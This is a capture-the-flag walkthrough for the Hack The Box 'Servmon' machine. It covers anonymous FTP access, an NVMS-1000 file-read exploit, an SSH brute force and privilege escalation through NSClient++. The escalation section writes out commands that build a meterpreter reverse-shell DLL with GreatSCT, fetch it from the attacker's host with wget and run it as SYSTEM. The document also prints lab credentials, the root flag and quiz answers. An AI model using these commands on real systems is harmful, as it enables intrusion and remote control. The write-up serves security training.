Servmon

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Initial Scan with Nmap

We begin by running an nmap scan against the target machine to identify open ports and services:

nmap -sC -sV -Pn -v 10.129.232.55

This reveals several open ports, including:

• Port 21: FTP (Microsoft FTP service)
• Anonymous login enabled
• Port 22: SSH (OpenSSH for Windows 8.0)
• Port 80: HTTP
• Port 8443: SSL (NSClient++)

From the scan results, we learn that anonymous FTP access is allowed, and there is an HTTP server with a redirect to a login page.

What service runs on port 21? FTP

Is anonymous authentication enabled on the FTP service? Yes

Connecting to FTP

Using the anonymous credentials, we connect to the FTP service:

ftp 10.129.232.55
Name: anonymous
Password: (press Enter)

We navigate to the Nadine directory and download Confidential.txt, which contains a message indicating the presence of Passwords.txt on Nathan's desktop.

Upon opening Confidential.txt, we discover:

└─$ cat Confidential.txt          
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine    

Upon opening Notes to do.txt, we discover:

└─$ cat Notes\ to\ do.txt 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint  

What is the full name of the sensitive file present on Nathans's Desktop? Passwords.txt

Exploring the HTTP Service

Navigating to http://10.129.227.77, we find a webpage for NVMS-1000, a network video surveillance application. After some research, we find that CVE-2019-20085 affects this software, allowing arbitrary file read.

We download the exploit from https://github.com/AleDiBen/NVMS1000-Exploit/blob/master/nvms.py

Using the exploit, we retrieve Passwords.txt from Nathan's desktop, which provides several potential passwords.

Brute Force SSH Login

Using Hydra, we brute-force the SSH login for Nadine with the passwords obtained from Passwords.txt:

The valid credentials are found to be:

• Username: Nadine
• Password: L1k3B1gBut7s@W0rk

What is the valid password to authenticate over SSH on TCP port 22? L1k3B1gBut7s@W0rk

SSH Access and User Flag

We SSH into the machine using Nadine's credentials:

ssh Nadine@10.129.232.55

After logging in, we navigate to Nadine's desktop and retrieve the user.txt flag.

Investigating Installed Software

Checking the installed applications, we notice NSClient++ is installed.

There's an unusual third part application on the system. What's the name of a very this software? NSClient++

We inspect the nsclient.ini configuration file and find the following line:

Exploitation

Let's set up an SSH tunnel to access the web app from localhost port 8443

ssh -L 8443:127.0.0.1:8443 nadine@10.129.232.55

Navigate to https://localhost:8443 and use the password found in the ini file to login. Let's create an external script that will execute our payload on the system.

Navigate to Settings > External Scripts > Scripts and click + Add new .

Next, input /settings/external scripts/scripts/shellz in the Section field, the command in the Key field, and C:\Users\Nadine\Documents\pwn.bat in Value . The bat file will be used to run commands as system.

Save the script and click on Changes , and then Save Configuration. Select Control > Reload

In order to get a shell, let's create a meterpreter payload with GreatSCT. Run setup.sh first.

cd ~/Servmon
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT
sudo ./GreatSCT.py --ip 10.10.14.11 --port 1234 -t bypass -p
regsvcs/meterpreter/rev_tcp.py -o serv

Start a Python3 HTTP Server to download the DLL

cd /usr/share/greatsct-output/compiled/
sudo python3 -m http.server 80

Download the DLL from the server using PowerShell.

wget http://10.10.14.11/serv.dll -o C:\Users\Nadine\Documents\serv.dll

Let's echo our payload on the box to create pwn.bat.

Nadine@SERVMON C:\Users\Nadine>cmd /c "echo C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Nadine\Documents\serv.dll > C:\Users\Nadine\Documents\pwn.bat"

Open msfconsole and specify the generated RCE file.

msfconsole -r /usr/share/greatsct-output/handlers/serv.rc

Next, navigate to the console on http://127.0.0.1/8443, input the script name shellz and click Run. Alternatively, select Control > Reload.

A connection is received. Sometimes the first connection dies. In that case run the command again, and a second connection will be received that is stable.

The root flag is located in C:\Users\Administrator\Desktop

meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2022-03-01 04:18:46 -0500  desktop.ini
100444/r--r--r--  34    fil   2024-10-28 01:08:08 -0400  root.txt

meterpreter > cat root.txt
c4d110ea97852167eabb5e3d7290bca7

We have found a non-default application, we know the version installed and we can access it as an authenticated user. Searching for vulnerabilities affecting this environment reveals a Local Privilege Escalation vulnerability. As what user we get code execution after successfully exploiting this vulnerability? NT AUTHORITY\SYSTEM

References

• HTB Servmon Official Walkthrough